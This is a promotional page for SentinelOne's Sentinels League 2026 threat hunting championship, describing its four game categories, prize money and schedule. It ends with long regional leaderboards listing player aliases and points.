² Gartner, “AI SOC Agents: Harnessing Innovation, Managing Expectations,” Kevin Schmidt, Alex Tytarenko, Steve Santos, 25 February 2026. G00841784.

³ SAE International, “Taxonomy and Definitions for Terms Related to Driving Automation Systems for On-Road Motor Vehicles,” SAE Standard J3016_202104, April 2021. https://www.sae.org/standards/content/j3016_202104/

⁴ Gartner, “AI SOC Agents: Harnessing Innovation, Managing Expectations,” Kevin Schmidt, Alex Tytarenko, Steve Santos, 25 February 2026. G00841784.

⁵ IDC Business Value Snapshot, “The Business Value of SentinelOne Singularity AI SIEM,” Michelle Abraham and Matthew Marden, May 2026, sponsored by SentinelOne. #US54435826-BVS.

Third-Party Trademark Disclaimer 

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third party.

The Threat Hunting World Championship is back — bigger, bolder, and with more on the line than ever. Sentinels League 2026, presented by SentinelOne® in partnership with DropZone AI, Google Cloud, and Mimecast, now is open for entries, and the best threat hunters on the planet are already sharpening their edge.

This year’s championship brings a new 30-minute game format, a $100,000 prize pool, and one of the most demanding tests in cybersecurity competition. If you hunt threats for a living, or you want to prove you can, this is where you belong.

Leagues Menu Quick Jump

• Americas League
• Asia League
• Europe League

What Is The Sentinels League?

Sentinels League is SentinelOne’s global threat hunting competition — a multi-stage championship that runs from June through October 2026, culminating live at OneCon in Las Vegas.

Every game is grounded in real-world attack patterns, real detection logic, and real operational pressure. Players go head-to-head across four games: Endpoint, Cloud, SIEM, and AI and capture flags of varying difficulty in high-intensity 30-minute qualifiers that test the exact skills defenders use in the field every day.

From June through August, qualifying games run online and in-person across the globe. The top 100 players per region then climb their Sentinels League standings and advance to the Regional Finals. Finally, three regional champions earn an all-expenses-paid trip to OneCon in Las Vegas for the Grand Final where one player is crowned Threat Hunting World Champion 2026.

Four Games. One Championship.

• Endpoint — Hunt down and remediate vulnerabilities in scenarios drawn directly from real incident data.
• Cloud — Track and eliminate threats across multi-clouds under time pressure.
• SIEM — Assert your detection dominance in real-time hunting and remediation challenges.
• AI — Go up against AI-generated threats and leverage AI-powered tools in scenarios built from the latest attack campaigns.

You can enter each game once across the qualifying season. Your combined score is what earns your place in the standings.

What You’re Playing For

Over $100,000 in prizes is distributed across every stage of the competition from the first qualifier through to the Grand Final.

In each online qualifier, payouts begin at first place and run all the way to 15th. First place takes $200, second takes $150, and the third, $100. Everyone from 4th to 15th walks away with $75. In total, there are 48 qualifiers in the season and every one of them pays.

Reach the Regional Finals and the stakes sharpen considerably. First place in your region is worth $2,500, with prizes distributed through to 15th place. For the three regional champions that make it to Las Vegas and the Grand Final, you’re competing for a $5,000 first prize, a portion donated to the charity of your choice through the S Foundation, and the trophy that belongs to only one person in the world.

The Road to Las Vegas

Qualifying Stage | June–August

Play each game once across 40+ online and in-person qualifiers across the globe and combine your scores. In this stage, the Top 200 per region will advance to Regionals.

Regional Finals | September

Tune in for the online showdown of the best hunters from each region — Americas, Europe, and Asia. From here, three regional champions progress to the Grand Final.

Grand Final at OneCon in Las Vegas | October

Three finalists, one stage. The World Champion is crowned live at OneCon26 and takes home the title, the trophy, and the grand prize.

Sentinels League Standings

Standings update weekly throughout the qualifying season. Bookmark this page and check back every week to track your climb and see who’s gunning for your spot. The Top 200 per region advance to the Regional Finals.

Americas League

Rank	Alias	Country	Played	Points
1	tresscross		4	1418
2	chiefkief		4	1315
3	staas		4	1235
4	BGrad		4	1150
5	GTNR		4	1095
6	ShinyShark		4	1026
7	JaredF		4	1018
8	DanielC		4	1009
9	WZRD404		4	998
10	nabiljain		4	982
11	Joshua_Eom		4	965
12	Evan		4	950
13	Justin		4	946
14	1-2-3-4		4	936
15	dk144		4	936
16	wardspan		4	880
17	riskybusiness		4	875
18	jydnx		4	873
19	jcob		4	864
20	theycallmetim		4	861
21	spookylukey		4	854
22	rhamiltontc		4	845
23	ifosterTC		4	835
24	ThreatSlayer		4	835
25	duotech		4	830
26	CmdrDataLake		4	822
27	j05h		4	785
28	Bumble_Fudger		4	765
29	Cwallis		3	759
30	smurph		4	752
31	0xf4d3		4	737
32	Robin-Banks		4	730
33	relogonm		4	726
34	maverick		4	721
35	alpal		4	720
36	MacLellan		4	710
37	vector_sec		4	706
38	khan		4	690
39	mr_bumbles		4	690
40	icy		4	685
41	AgroBoy		4	676
42	CyberSaiyan84		4	661
43	HiggsB		4	635
44	JeffLeder		4	626
45	hackerpanu		4	606
46	jmontalbano		4	600
47	4thelulz1		4	598
48	alevine		4	589
49	BAE_Force_1		4	580
50	OneManFirewall		4	580
51	ECOLI		4	545
52	DustyV		4	543
53	mmazis		4	542
54	ceraalorca		3	533
55	katze		4	533
56	Jen		4	528
57	SHWON		4	528
58	zerodavid		4	528
59	cybertricoteuse		4	521
60	HaircutFish		4	519
61	mgras		4	500
62	CmdnControl		4	495
63	Diasum		4	488
64	CyFi		2	485
65	Greavard		4	483
66	luminous_kestrel		4	478
67	Max		3	478
68	mandyjones		3	476
69	nmkoester		4	475
70	NateD		4	473
71	ProfessorNerdly		4	473
72	ninjacat		4	471
73	HikingHacker		4	466
74	Richieee		4	455
75	aavant		4	452
76	Xogarth		4	446
77	benthehen100		3	445
78	CanieXylander		3	445
79	Romulus		4	442
80	InfoSecBret		2	424
81	zero_cool		3	420
82	ElectricEel		4	419
83	sh3llder		2	410
84	BeanPipe		2	405
85	work_jpj		4	405
86	5h33pd06		4	404
87	CryptoCat		2	403
88	Stryker81		4	403
89	wadebuhr		4	403
90	rriegert		4	400
91	y1nmn		3	390
92	Average_Hunter		4	389
93	Cake		2	380
94	Ulric		4	380
95	Dharo		4	374
96	Spinja77		4	371
97	M1racle		4	370
98	mathecarv		1	365
99	JayHole		4	361
100	tytinz		4	361
101	Zer0d4y		4	347
102	dexterslab		4	343
103	SOCMonkeyz		4	341
104	Recovery13		3	340
105	slash		4	324
106	Nunya_Jones		4	321
107	___		2	320
108	GnomeMansLand		2	316
109	rob454		4	313
110	GreenApple404		4	311
111	SunnyShah		3	310
112	JessB		4	309
113	VoidStalker		4	308
114	mprof		4	294
115	Th3Gr33kDK		4	286
116	MngdAttribution		4	284
117	ahsan		4	279
118	Alakazam		3	275
119	PolloMax		3	273
120	Kucster		1	270
121	SilentByte		3	270
122	Nin		2	268
123	Demi		2	265
124	vesche		1	265
125	egg		4	263
126	Akill-X		2	260
127	Ovens		3	251
128	SN1ps		1	250
129	xenno		2	250
130	drpolloman		4	245
131	FlawlessCowboy		3	243
132	Antifuse		4	228
133	Dagon		4	227
134	alex		2	220
135	Miko		3	220
136	boy		2	218
137	handyC		2	218
138	LeonQ		4	215
139	topsirloin		3	215
140	Chef-P		2	211
141	noName		3	211
142	Brown33		1	208
143	RUDeadYet		4	206
144	GoldenSand		2	205
145	Bearzy		3	202
146	MRob		2	200
147	tmustache		1	200
148	alex1		3	195
149	bbaldini35		4	194
150	chris_w		1	193
151	pittbull_2026		2	192
152	Siegfried		4	192
153	EBlum		1	190
154	gstach		4	187
155	lazycatlady		4	181
156	yul10		4	181
157	domkrag		2	180
158	mr_rob0t404		3	180
159	Nerf		2	175
160	Rkermit		1	174
161	ZachsAlt		3	168
162	ctrlaltwho		4	166
163	zer0day		1	165
164	alexs		4	161
165	ammo		1	160
166	AGoat		1	159
167	Neeel		3	159
168	ekalmbacher		3	158
169	k1ng0fg0ds		3	158
170	alan		2	155
171	Magnar		4	155
172	paula_s		3	155
173	Delta01		2	151
174	FictionalSoup		1	151
175	efgh000		4	150
176	MoutainMan805		4	147
177	Gent		1	145
178	Kyle		1	145
179	Monsieur_Renegat		4	144
180	Trogon		2	143
181	frazzl3d		2	138
182	James_0		3	137
183	shredark		3	130
184	Jin-Sec_Enforcer		1	128
185	Cyber_Rich		1	126
186	bot		1	125
187	kevin		2	124
188	Alex		1	120
189	dusty_cheeto		1	120
190	Leah_Mnz		1	120
191	S0ra		2	120
192	TJSperry		1	120
193	go_cody		2	119
194	ProbablyBenign		1	115
195	ana7z		2	114
196	mrryan		3	114
197	ttbaba52		2	113
198	DVS1		2	110
199	Dohnut		4	108
200	KKonda		2	108
201	mnr		1	108
202	antomic		1	105
203	Loki		4	105
204	haxxortrax		2	103
205	paul		1	100
206	Andrewsro		4	98
207	Cyber_Cowboy		1	98
208	Bolap		1	96
209	Honu		1	94
210	aBryant		4	93
211	jh34		2	93
212	d4rkM4tt3r		4	91
213	Brute_Force		1	90
214	dbeal		2	90
215	Ocensnimer		2	85
216	james_graichen		4	83
217	foil		2	81
218	CarlosOwO		1	80
219	Drakonborn		1	80
220	Hossein		1	80
221	Imac		4	79
222	D-Money		3	76
223	G_Masala		4	76
224	jocyclara09		1	75
225	Cyril		1	73
226	Anunymous18		1	70
227	dmilutinovic		1	70
228	Flynn_Mota		1	70
229	JacobK		1	70
230	wcheung		1	70
231	BigRedCharlie		1	68
232	D3f1anT_Actual		1	68
233	jucai		2	68
234	eec1m		2	67
235	Vuldar		1	66
236	ByteBlossom		1	63
237	atthebagelshop		1	60
238	lamanteran		1	60
239	MikeyB		1	60
240	Conficker		3	59
241	glacier		4	59
242	Ak1895		1	58
243	s1moesz		1	58
244	SFIcedEdition		2	58
245	ShadowZero		1	58
246	bigheadted		3	57
247	goldfingerprints		2	57
248	Trace404		2	56
249	Godfotter		4	50
250	JDC		1	50
251	sclayton		1	50
252	sabalala		3	49
253	Al_Capwn		1	48
254	garfield		1	46
255	Gatekeeper		2	45
256	kswag		1	45
257	osayolb		1	45
258	R3yK0nG		2	45
259	nhs		3	44
260	J-S		1	43
261	CyberNeverQuits		1	42
262	Isabella_Plata		1	42
263	Tin1		2	42
264	psalmon		2	41
265	b6rim		1	40
266	Evimero		1	40
267	jarthurmesere		3	40
268	Bryce		1	38
269	Ethical_Danny		1	38
270	george_r		2	38
271	s0l3mn		1	38
272	Utefan-07		1	38
273	ashah		1	35
274	hue		1	35
275	joma67		2	35
276	MaddieChar		2	34
277	william		1	34
278	p0p0		2	33
279	sourabhdhawan		2	33
280	Abrie		2	30
281	rshrestha		1	30
282	codycodycody		1	28
283	gro		1	28
284	IronMouse		1	28
285	HYP3r1us		1	25
286	notnotmimi		1	25
287	AZNATTA		4	24
288	SOC-Hunter		2	23
289	gr3mlin		1	21
290	0xdecaf		1	20
291	dcastellanos		1	20
292	Mbonner		2	20
293	tumbleweed0101		1	20
294	Neo		1	19
295	0DAY		3	18
296	DOM_inject		1	18
297	hiddentek		1	18
298	Survivor4Ever		1	18
299	v1k		1	18
300	ELaura		1	16
301	aemiro		2	15
302	Mel_m		1	15
303	Mong0		1	14
304	Cledmir		1	13
305	NWillis		2	12
306	yrpowell89		1	12
307	radha		1	10
308	raikoti22		1	9
309	enzomanzanares		1	8
310	SitAegis		1	8
311	Capt_Parolsky		1	6
312	CyberChop		1	6
313	Kakarot		1	5
314	Loading		1	5
315	HereSwishySwishy		1	4
316	Jordangv99		1	4
317	Lorthar2488		1	4
318	moram		1	2
319	ShadowStryx		1	2
320	ksecurity		2	1
321	santodominicano		1	1
322	7cuer0s		1	0
323	aegiya		1	0
324	aless		1	0
325	alfred		1	0
326	Alvez		1	0
327	bao2		1	0
328	billy		1	0
329	BLUEDROID2027		1	0
330	brd55		1	0
331	Cocorocho		1	0
332	Cody_ronk		1	0
333	cyberdolo		1	0
334	daemon_hunter		1	0
335	DDON		1	0
336	ih1920		1	0
337	ips0		1	0
338	ips1		1	0
339	ivanht		1	0
340	khyati		2	0
341	kiko		1	0
342	KSS		1	0
343	Lionel		1	0
344	Lior		1	0
345	Lued1102		1	0
346	MacPolloZ		1	0
347	MartiNEZ		1	0
348	MojoRojo		1	0
349	paguilarLNX		1	0
350	philipe		1	0
351	potatobot		1	0
352	raul		1	0
353	Rober23		1	0
354	robin		1	0
355	RodHA		1	0
356	RWill		1	0
357	SBS		1	0
358	stinger		2	0
359	TheGoodOne		1	0
360	TheRealThreat		1	0
361	Yaku		1	0
362	parisa2301		1	-1
363	datagrammar		1	-2
364	forzie		1	-2
365	rodrigonsoares		1	-2
366	Triminator		1	-2
367	JadeX		1	-4
368	npegler		1	-4
369	RedRobin		1	-4
370	Cole		2	-5
371	Chewie		2	-6
372	Berry		4	-7
373	Jimy_Xerxes		1	-8
374	cl0wnbaby		2	-10
375	Juann		1	-10
376	SpartanCat		1	-10
377	vlAI		1	-10
378	wagrodrigo		1	-10
379	weekndr_sec		1	-13
380	Tony_Willey27		1	-14
381	mccull415		1	-18
382	detectiveBugX		1	-20
383	FJhh		2	-20
384	Xxv		2	-20
385	PJE		4	-28
386	bokal		1	-30
387	Vir1616		1	-37
388	Alex		2	-76
389	Pixie_12		2	-119

Asia League

Rank	Alias	Country	Played	Points
1	reeshee		4	1475
2	Hariom		4	1252
3	MoldyCups		4	1173
4	Rishabh		4	1156
5	Ikshvaku		4	1140
6	numerouno		4	1129
7	Zero2One		4	1075
8	JoeS		4	1058
9	Johncena		4	1045
10	caleb		3	1020
11	pkt1112		4	1020
12	Alps		4	1008
13	potat		4	1000
14	wooper_enjoyer10		4	973
15	Hopyoprop		4	962
16	SP100		4	940
17	nonder		4	895
18	shax		4	893
19	bloke-hack		4	856
20	0xDariusNG		4	814
21	k0i3n		3	757
22	hemalsoni22		4	756
23	HoneyTehO		4	755
24	ShadowHunter		4	741
25	vihan11		4	721
26	NotFound		4	716
27	VP_03		4	711
28	marshe		3	706
29	manthan1501		4	703
30	Reset		3	690
31	Rockster		3	680
32	Rockster31		3	680
33	Pichayut		4	674
34	Absol		4	645
35	PowerPuffGirl		4	645
36	Hackerbox		4	611
37	krisshh		4	603
38	Katarina		4	597
39	DingDong		4	593
40	Ash11		4	587
41	bobsburger		3	585
42	Incognito		4	583
43	Julrob		3	578
44	pessy		4	570
45	LVarma		3	559
46	Rusher		4	556
47	Zombie		4	556
48	injun		4	546
49	Rupam		2	545
50	Utkarsh2726		4	530
51	Shreya		4	523
52	Sujin		4	523
53	gwthm01		4	516
54	White_W01f		2	516
55	Sp4c3K		3	513
56	DFIRanalyst22		4	511
57	D1vy		4	510
58	M_N18		4	505
59	TheCyberHokage		3	502
60	cyslay		2	496
61	grumpycat		4	489
62	Anshul		4	486
63	Hyena		4	479
64	b4ngm4n		4	468
65	Siwoo		4	465
66	Zombieee		4	446
67	sandy		3	443
68	ansal11		3	440
69	l3Iadk		4	440
70	Mingi		4	433
71	sam		4	431
72	nothingonherebro		4	420
73	Tai		4	419
74	Mr_Flexible		3	412
75	who1sm3		2	410
76	sheefa		4	408
77	AnujKumar		3	401
78	peachydonuts		4	396
79	VIPER		4	390
80	GrantH		4	375
81	Tarak		3	369
82	CyberThreats		1	368
83	ArcNova		3	366
84	ansar13		3	364
85	Jay		3	364
86	MrHokage		4	363
87	The_BeeKeeper		4	361
88	Breezeway_MDRONE		4	354
89	HNVN		4	350
90	kammo_don		1	350
91	Krxsx		2	350
92	SamKamtekar		4	347
93	Mohammed		3	346
94	griffin-tech		4	345
95	Minyoung		3	345
96	v14		3	331
97	Anusthika		3	325
98	M_Negi		4	325
99	VIPER_JH		4	308
100	songjm		4	306
101	ThePunisheeer		4	305
102	ShinyHunter		1	304
103	BrownDefender		3	299
104	vt-ktk		1	298
105	nymos		4	293
106	ThreatYakuza		2	289
107	SmolAME		4	283
108	Hamrash		3	280
109	AK47		1	270
110	Vishal_01		1	270
111	TigerHawk		1	263
112	RCB-11		4	260
113	Parshwa		1	256
114	gnsehfvlr		2	253
115	abhesinh		4	249
116	ngonum		1	248
117	Leofire		2	245
118	giosblue		4	242
119	noctur3		1	240
120	PLZ_ENTER_TEXT		4	238
121	rajkul		3	231
122	Saba07		1	230
123	Saurav		1	230
124	vkt11		2	230
125	HarryPotter		1	226
126	ChampRR		2	225
127	uzi		2	225
128	mintbomb27		4	222
129	mop4ck		3	221
130	ditto		1	220
131	haxormad		1	220
132	HYEOK		4	219
133	nanthuNS		2	218
134	Alakamana		1	215
135	ss0001		1	215
136	teo		3	215
137	MysticSparta		2	214
138	H983r		2	208
139	Revil		3	205
140	ezhunt		4	204
141	sec_r		4	201
142	parameter		1	200
143	shubham_cas		1	200
144	Tk123		2	200
145	Shawn_Kwak		4	192
146	Chirag24		1	180
147	Faith		3	180
148	Pumpkin_18		1	180
149	Reddy_312		2	178
150	Om_Chendvankar		3	173
151	booteamer		1	170
152	King7		2	170
153	MSI		3	168
154	prithviraj		3	168
155	Kaarthik		2	166
156	Pather27		3	164
157	Vecna03		2	164
158	AvinD		3	162
159	Dipal		1	161
160	amitkp		1	160
161	shumaz_khan		3	160
162	PranavT		1	158
163	Aradhna		3	153
164	CCCC		3	153
165	kumar		1	150
166	SOC		3	150
167	tamhan		4	150
168	Pixie_08		4	145
169	Hey_nitish		2	144
170	T-S		3	144
171	DrSquarepants		3	136
172	aVc_Sentinel		3	135
173	TI-MG		2	134
174	Attacker291		4	131
175	gookbap		1	130
176	MSB1309		1	128
177	Blueteam09		2	126
178	Shruzzz		1	126
179	Shan		3	121
180	host		1	120
181	luvptg		1	120
182	ouoaaa		1	120
183	LL-Auriga		2	119
184	babuk07		1	116
185	XHUNT		3	116
186	Rajiv		1	115
187	Ravi555		4	113
188	ShadowHex		3	113
189	root		4	112
190	AshDope7		3	111
191	Napster007		2	111
192	Andro6		1	110
193	DXN		1	110
194	pdabhade		1	110
195	fchw		1	109
196	JeebyaHTB		4	109
197	musti_28		1	108
198	RedBaron		4	106
199	Sire		3	105
200	oxy		2	104
201	StranJer		2	104
202	prajeetg		1	102
203	andrew_cI		3	101
204	bibbidi		2	100
205	Vato		1	100
206	Suren		1	98
207	ansar		3	96
208	Jinesch13		2	96
209	Ninad_Gurav		1	96
210	Shawn		2	96
211	CybDefender		3	95
212	nymos		3	95
213	kzslacker		3	94
214	tIxEd		2	93
215	matrix		4	91
216	S_Jadhav		1	90
217	J3anW		2	88
218	SSJ		2	87
219	glitchMonkey		2	85
220	mrrobot		1	85
221	unknownman		1	85
222	ShivamThakur01		2	84
223	Babyshark		1	83
224	EclipseManic		1	83
225	Obfuscated_LOL		1	83
226	Adity		3	80
227	Parzival_13		1	80
228	omshrisawant		1	78
229	heogi		2	75
230	altair0-0-0-0		2	73
231	Chary_RKC		3	71
232	Chilai		1	70
233	salad		1	70
234	spicy_panner		1	70
235	MSJ		1	68
236	RootingMachine		1	68
237	soloforce		1	68
238	FoxH		1	65
239	sgkk		1	65
240	totoro		1	65
241	PerryKO		2	64
242	gr00t		2	63
243	sameer		4	62
244	bin10		1	61
245	Mr_Error_From_TN		1	60
246	prateek5		1	60
247	sunil		3	60
248	RaaV		1	58
249	Eesha		4	56
250	Optimus		1	56
251	blueteamnoob		1	55
252	alem		2	50
253	azhar		2	50
254	S41NT		1	50
255	Ad0005		1	48
256	13001e		1	45
257	akshay_hacker		1	45
258	cwasright		2	45
259	Hacker__Case		1	45
260	Moon		1	45
261	Sinchana		1	45
262	Jef		1	43
263	mtu0333		1	43
264	Zammm29		1	43
265	AVu		4	41
266	drake		3	40
267	me0w2en		1	40
268	Yuki		4	40
269	Dinesh		1	39
270	PHEAKRO		2	39
271	harshad101		1	38
272	SecOps		2	38
273	Zac		1	38
274	BADAnu		1	36
275	Darkfairy		1	36
276	Jyoti		1	36
277	Zoomlnwza007		1	36
278	Agk6		1	35
279	Expillamous		1	35
280	KHAN		1	35
281	Spider		1	35
282	Dia		3	34
283	LargeGoose		1	33
284	Sire		1	33
285	Triveni		1	33
286	ashley		1	32
287	Kali		2	32
288	Kanpur		1	32
289	ken_CTF		1	30
290	VeeK		1	30
291	Abhiramhere		1	29
292	krish		3	29
293	Default_User		1	28
294	San		1	28
295	Sanjxy		1	28
296	Will		1	28
297	NirmalDillan		1	26
298	Sagar		1	24
299	Gowda		2	23
300	Saiteja1314		2	23
301	sameer_2410		3	23
302	sreelakshmi		1	23
303	ojasav		2	22
304	hellohex		1	21
305	tigerkali		1	21
306	vinesaj		1	21
307	aichi_aito		2	20
308	Ash		1	20
309	JokerConnected		1	20
310	madhih		1	20
311	mgoyal		1	20
312	mukes		1	20
313	Somu		1	20
314	teaspark		1	20
315	ahmad		2	18
316	Arifa		1	18
317	Riddhita		1	18
318	Santosh		1	17
319	Shiva		1	15
320	sole_07		3	15
321	adika		1	14
322	Alvo		3	14
323	hieudn		1	14
324	3m_1_R3aL		1	13
325	astral		1	13
326	Hunter_54		1	13
327	NegativePointer		2	11
328	OSINT_DFIR		3	11
329	Cyduck		1	10
330	Dhruv		1	10
331	meong		3	10
332	Schutheysan		1	10
333	tsubasa		1	10
334	Vishnusoc		2	10
335	JObi		1	9
336	dani-mas		1	8
337	Fayas		1	8
338	pallavi		2	8
339	thinksysarmy		1	8
340	Vaishnavi		1	8
341	Nirali		2	7
342	Brute_Forcer		1	6
343	Roker		1	3
344	ashipaul		1	2
345	ghost1nwires		1	1
346	1uCif3R		1	0
347	abdul		1	0
348	Albiii		1	0
349	ArghyaC		1	0
350	ayaal		1	0
351	Bharat		1	0
352	buttercup		1	0
353	chow		1	0
354	CyberHokage-BY		1	0
355	D_Div		2	0
356	DouglasHaig		1	0
357	fudu1102		1	0
358	GOBLIN		1	0
359	Guneetsehgal		1	0
360	Jitendra_Gupta		1	0
361	JoJo		2	0
362	jst		1	0
363	lilyleang		1	0
364	me0w2en		1	0
365	modiji		1	0
366	Mukeshdanuskodi		1	0
367	Nani_50014312		1	0
368	nidhi		1	0
369	NOMAD		1	0
370	OSWin		1	0
371	Paw009		1	0
372	RajatS		1	0
373	RWei		1	0
374	Santhiya		1	0
375	shalender		1	0
376	SHIVAM		1	0
377	Sin		1	0
378	skkcyb3r		1	0
379	syunari		1	0
380	Theorist		1	0
381	UDubey		1	0
382	ved		1	0
383	vinay-collen11		1	0
384	ye11oc4t		1	0
385	zala		1	0
386	zkhaan		1	0
387	great_kv		1	-2
388	IND-Fury		1	-2
389	kshitijsinha		1	-2
390	nidhi		1	-2
391	qragrau		1	-2
392	Rahul		1	-2
393	rsm11		1	-2
394	Deepak		1	-4
395	Shadow		1	-4
396	Radahn		2	-5
397	ShadowWarrior		1	-5
398	Ghost_Operator		1	-7
399	Jkk		2	-8
400	SAM1		2	-9
401	SOC_Admin		1	-9
402	hackpure		1	-10
403	the3hats		1	-10
404	Vk_02		2	-12
405	matcha		1	-16
406	AnandBabu		1	-19
407	pincode		2	-19
408	FelonyBoy		1	-20
409	vineetmoses		1	-20
410	A_R		1	-22
411	danielSALTT		3	-22
412	vo1d		1	-24
413	ZAMHunter		1	-27
414	Chan1999		1	-28
415	ManikandanV		2	-28
416	Sheshell		2	-30
417	prakhar3125		1	-35
418	Red		1	-48
419	Mubasheerpmr		1	-59
420	Jasprit		1	-62
421	Prapti		1	-66
422	Hakai		1	-75
423	Nandan		1	-80
424	Marv		1	-87
425	Suryaprakash		1	-158
426	Rocko_Smith		2	-209
427	St3ll4		3	-283
428	War_Panda		1	-300

Europe League

Rank	Alias	Country	Played	Points
1	SK_HSR		4	1471
2	french_taco		4	1368
3	Arnau		4	1359
4	Deepa1196		4	1320
5	Drachh_		4	1314
6	awp		4	1225
7	elco		4	1111
8	mka		4	1098
9	Jodie		4	1085
10	Lennard		4	895
11	brudenko		4	883
12	vonny		4	871
13	Jboni		4	853
14	Matt		4	830
15	EncryptedFax		4	828
16	pgruntkowski		4	812
17	rzv		4	810
18	kochl0		4	780
19	SilentLayer		4	685
20	Vico		4	625
21	karagoz		3	586
22	Fenio		4	560
23	GilD		4	545
24	eniz127		4	537
25	megan		4	535
26	blackhat		3	516
27	sshadyan		3	513
28	mkar		4	511
29	DreddRob		4	489
30	DeGoosePlural		4	480
31	Pinax		3	480
32	swat		4	448
33	Villodre		3	435
34	primex92		2	430
35	Lee-sin		4	410
36	valencia		4	404
37	PapaStedz		4	396
38	Fok		4	386
39	Anubis85		4	351
40	6ven		4	350
41	gonda		2	338
42	desidosa		2	320
43	Pst		3	318
44	tomkerswill		4	315
45	MTSKH		3	292
46	Charlotte		4	265
47	ABogdan		2	263
48	Carlo		2	253
49	Carles		1	250
50	DzX		1	250
51	B4nd1t0		1	244
52	MaMi		4	240
53	Roffe		3	231
54	SemBios		2	223
55	orchidlillian		3	217
56	Antoine		4	210
57	panpan		1	210
58	CBVirus		2	199
59	ALDX		1	198
60	ah01		4	191
61	Danielito		3	190
62	coollee		1	188
63	waayy		2	188
64	icheptrosu		2	175
65	mrnne		4	171
66	bastian		2	170
67	neutronic		3	168
68	tdlwv		1	165
69	hannov		1	160
70	0xR4z1xx		2	156
71	Gizmo		3	155
72	CyberGeorge		1	150
73	dMarti		3	141
74	c1c1_pt		2	134
75	Stella		2	123
76	n4ffchwan		3	121
77	stephane		2	117
78	jekr		2	113
79	ChrisDJYA		1	110
80	KamX		1	108
81	Magnatron		1	108
82	SpeedyRogue		1	108
83	FoxInTheBox		1	106
84	CryptoCooCoo01		1	100
85	maximilian		1	100
86	PickleRick		1	100
87	Xavier		1	99
88	dapdomma		2	93
89	hipparcos		1	91
90	bbiskupiak		1	90
91	Costica		2	81
92	melo		2	78
93	demisto		4	76
94	SW2		2	76
95	WildCurly		2	72
96	adam		2	70
97	Terry263		1	70
98	mbarlo		1	68
99	bhav		1	66
100	Naicisum		1	66
101	dawid_pl		2	65
102	ThreatWhisperer		1	65
103	Fumetsu		3	62
104	Elyon		2	58
105	zettasecure		1	58
106	nikolakosanovic		2	57
107	Yigido		1	56
108	dcpl		1	55
109	hunterXddd		1	55
110	gambith		1	50
111	knh_threat		2	50
112	MrBunny		1	50
113	spideraxal		1	50
114	Blessinga380		1	46
115	Yen3		4	45
116	nimilsoman		2	44
117	Gospearl		1	38
118	Grimmj0w		2	38
119	BriceDeNice		3	34
120	Dante		2	33
121	Jeremy		1	33
122	milosvujovic		1	31
123	EAli		1	30
124	Maurine		1	30
125	paladin		2	25
126	churyl		2	24
127	CyberAnomaly		1	20
128	f3rx00		1	20
129	LeGOR		1	20
130	FUSH1A		1	18
131	Jihed		1	15
132	opalonycham		1	11
133	Ali1234		1	10
134	gr33n		1	8
135	HermessNRJ		1	5
136	Sajjad_nam		1	5
137	atlaSS		2	4
138	mam		1	3
139	ActionDude		1	0
140	amit		1	0
141	Ben		2	0
142	Ben		1	0
143	charly		1	0
144	cpreach		3	0
145	elia		1	0
146	Ivan		1	0
147	Jacobleo		1	0
148	Kanishk		1	0
149	kelly		1	0
150	liam		1	0
151	Lintus		1	0
152	Ptikek		1	0
153	silva		1	0
154	Stepan		1	0
155	Tsitsi		1	0
156	zack		1	0
157	skanjiru		2	-2
158	dinnu137		1	-6
159	FMS		1	-6
160	mithun		1	-6
161	sarykayyali		1	-6
162	TheMammadli		1	-6
163	odurupunar		2	-8
164	AlexRahn		1	-37
165	jacobm123		1	-52
166	nijilalseer		1	-87